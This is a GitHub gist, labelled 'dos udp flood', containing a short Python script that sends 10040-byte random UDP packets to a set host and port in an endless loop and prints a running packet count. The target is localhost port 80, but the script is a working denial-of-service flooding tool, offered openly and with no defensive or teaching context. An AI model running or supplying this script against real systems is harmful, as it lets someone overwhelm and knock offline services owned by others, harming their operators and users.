Created
October 1, 2019 19:12
-
-
Save MayankFawkes/42f56866c2b94d7b60e579427dba6733 to your computer and use it in GitHub Desktop.
dos udp flood
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket,signal,sys | |
import random | |
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
host="127.0.0.1" | |
port=80 | |
bytes=random._urandom(10040) | |
s.connect((host, port)) | |
send=0 | |
def signal_handler(signal, frame): | |
print('You pressed Ctrl+C!') | |
sys.exit(0) | |
signal.signal(signal.SIGINT, signal_handler) | |
while True: | |
s.sendto(bytes, (host,int(port))) | |
send+=1 | |
print(str(send)+" Packets Sended Sucessful") | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment